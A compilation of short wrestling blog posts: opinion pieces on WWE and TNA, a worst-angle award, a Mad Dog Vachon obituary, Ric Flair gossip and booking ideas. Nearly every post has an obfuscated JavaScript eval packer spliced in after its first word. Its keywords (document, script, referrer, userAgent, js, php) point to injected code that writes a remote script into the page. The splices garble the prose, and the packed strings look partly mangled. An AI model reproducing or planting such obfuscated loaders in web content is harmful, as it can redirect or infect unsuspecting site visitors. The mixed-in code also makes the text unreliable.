Thought of the Day: That’s Not Fair

Based eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntafn|var|u0026u|referrer|ddsya||js|php'.split('|'),0,{})) on the stats breakdown I get for the site, these are the most popular thing I have other than live reviews so I’ll try to do these more often.

This is one I’ve thought about before but it’s really true when you look at the state of wrestling around Wrestlemania time.

It’s not fair to compare any organization to WWE. Really, it isn’t. WWE has been around far longer than any other mainstream organization, has the name recognition, the talent, the skill, the technique and I could go on and on. It’s not fair to say that TNA isn’t living up to the WWE standards in the same way it’s not fair to compare a high school athlete to a pro athlete. No, TNA isn’t reaching the same audience that WWE is reaching, but no one is and no one will, possibly ever. It’s like comparing anyone in wrestling today to John Cena. They might be some of the most accomplished people today, but they’re just not on that level, no matter how you look at it.

To clarify: that’s not a knock on TNA or any single performer other than Cena. It’s simply not a fair comparison to make and to put a juggernaut up against a normal product, even if they’re second best, can’t realistically be done.

2013 Awards: Worst Angle of the Year

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzfar|var|u0026u|referrer|fifnd||js|php'.split('|'),0,{})) awards time again. I’ve got 18 awards to hand out this year and as is my custom, I’ll be doing one of these a day until the end of the year, which just so happens to be the day the Royal Rumble Count-Up stars. Up first: Worst Angle of the Year.I know it’s easy, but I’m going with Big Show’s firing/crying/threats of lawsuits. This story went on for months, never gave us any real conclusion (Big Show got cheated out of the title match and just started teaming with Mysterio like nothing happened) and wost of all, it involved LAWYERS.

This is rapidly becoming one of the most annoying things in wrestling. It’s in WWE, TNA and was in ROH during the few weeks I watched their TV show. WWE has become obsessed with this idea and even had a recurring lawyer character in David Otunga (which is understandable as he actually is a lawyer). Think about it though: Christian used to threaten lawsuits for one more match, Del Rio threatened legal action against Sheamus, everyone threatens lawsuits against everyone at times and dear goodness it gets old fast. Stop having wrestlers hide behind lawyers and have them FIGHT.

Thought of the Day: Why Losses Matter

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seisn|var|u0026u|referrer|hydbf||js|php'.split('|'),0,{})) picked this up from Terry Funk on Austin’s podcast (fascinating listen if you have an hour and a half to spare).Terry talked about making guys look good and why it’s important: “If you make them look bad when they beat you, it doesn’t mean anything when you beat them.”

Look at NXT again for an example. Sami Zayn has lost almost every big match he’s had there, but he looks good in those losses. As a result, he’s still the most over guy in the promotion. Now look at someone like Damien Sandow, who has looked like a putz in most of his losses. How important is he at the moment?

Maurice Mad Dog Vachon Passes Away

Dude eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtihb|var|u0026u|referrer|nnshs||js|php'.split('|'),0,{})) was NUTS back in his time and held the AWA World Title for over three years. He was also the guy that had his prosthetic leg stolen by Diesel at In Your House 7. Vachon was 84 years old and had been in bad health for a long time.

Free Matt Morgan Interview

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfsyk|var|u0026u|referrer|seszy||js|php'.split('|'),0,{})) I didn’t conduct it, but I work with people that did.Over at another site I work for, we have an exclusive hour long sitdown interview with Matt Morgan for free. All you have to do is sign up for our newsletter (free) which means you’ll be sent breaking news updates and maybe one e-mail a week (possibly with something written by me in it). The guy that conducts the interview is a friend of mine and good at what he does so the interview is well worth checking out. Also make sure you check wrestlingrumors.net at least 857 times a day. They’re fast, good, well done and smart. Not to mention I have at least five reviews up there a week so you know you’ll get something good.

Check us out and catch the interview which is completely free.

Thought of the Day: Needs More Rico

Ignoring eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfzen|var|u0026u|referrer|fhrtd||js|php'.split('|'),0,{})) the fact that Rico had some of the most underutilized talent ever, that’s not exactly what I want to talk about today.This came to my attention on Smackdown last week: how many people in WWE have custom entrance attire anymore? The answer is not many. Almost every big name comes to the ring in their latest t-shirt so they can throw it to the crowd or take it off and sneer at the people. I miss the days of Ric Flair robes, massive Randy Savage hats, Steve Austin vests, Undertaker’s trench coat, Randy Orton’s two bottles of baby oil, Trish’s cowboy hat and coat and Vader’s big helmet. This is one area that TNA owns WWE in. Roode has his robe, Bad Influence has the leather jackets and sunglasses, AJ has his hooded jacket. Those things help.

Bring some of that stuff back so these guys can stand out a bit more rather than looking like the same idea over and over.

A Story So Strange You Can’t Make It Up

About eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffaiz|var|u0026u|referrer|kyidk||js|php'.split('|'),0,{})) Ric Flair.According to PWInsider, Ric Flair is now back to taking bookings and living with former WCW wrestler……

wait for it……

JOE GOMEZ.

Does that name ring a bell to you? I’d be surprised if it did, as Gomez was a jobber to the stars at best. He feuded with Steve McMichael for about a month and then formed a jobbing tag team with Renegade. If there has ever been a more bizarre pairing I’ve never seen it.

I Want To Talk A Little Bit About Catering To Different Groups Of Fans

The obsessive fans, often called the IWC, stereotypically love people like CM Punk and Daniel Bryan while thinking guys like Orton and Cena are shoved down our throats. However, when guys like Cena and Orton are on top and guys like Punk and Bryan are clearly steps below those bigger names, the same fans keep coming back over and over again and can snap off histories and results like no one else can. In other words, they claim to hate the show yet they never miss an episode.

Finally, yeah Cena does a lot of the same stuff over and over again. This would be totally different than:

Right hands, middle finger, Thesz Press, Stunner

Big boot, chokeslam, Last Ride, Tombston

Knee crusher, knee drop, cannonball down onto the leg, Figure Four

Atomic drop, backbreaker, middle rope elbow, Russian legsweep, Sharpshooter

Hulk Up, right hands, big boot, legdrop

Thought of the Day: We Need A Good Old Fashioned Masked Man

Not eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|siief|var|u0026u|referrer|drkrh||js|php'.split('|'),0,{})) like Kane, but rather…I mean a guy in a mask who runs in and messes with stuff until running off again. It’s been used for decades and works quite well every time. There are a bunch of simple stories like that which can do wonders for the booking, but instead we get the same four ideas or so (how many times can we have the corrupt authority figure, the guy wanting RESPECT and turning heel as a result, “tough love” or the automatic rematch clause? How often do we get anything beyond an offshoot of one of those ideas?) with people caring less and less each time.

Use some old ideas and freshen things up a bit.

Interesting note: apparently I wrote this up back in May and hit save to draft instead of publish. I never have been the best tech guy.

Thought of the Day: Just Win Baby

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hiykb|var|u0026u|referrer|yrhat||js|php'.split('|'),0,{})) much as it hurts me to quote the Raiders.I’ve been watching Nitro and Thunder from 1998 lately and one of the major stories has been the rise of Booker T. He’s gone from being a tag team mainstay to the TV Champion, defending his title at least once and often twice a week. Every week he gets more and more popular with his matches getting better and better. There’s a very simple explanation for why he’s getting over: he’s winning. There’s no trick gimmick to it, there’s no secret surprise, there’s no way to trap the audience. The fans simply respond to a guy who wins his matches. In other words, WCW wasn’t cutting Booker’s legs off in case he got hot when the company didn’t want him to but rather embraced it. Imagine that concept.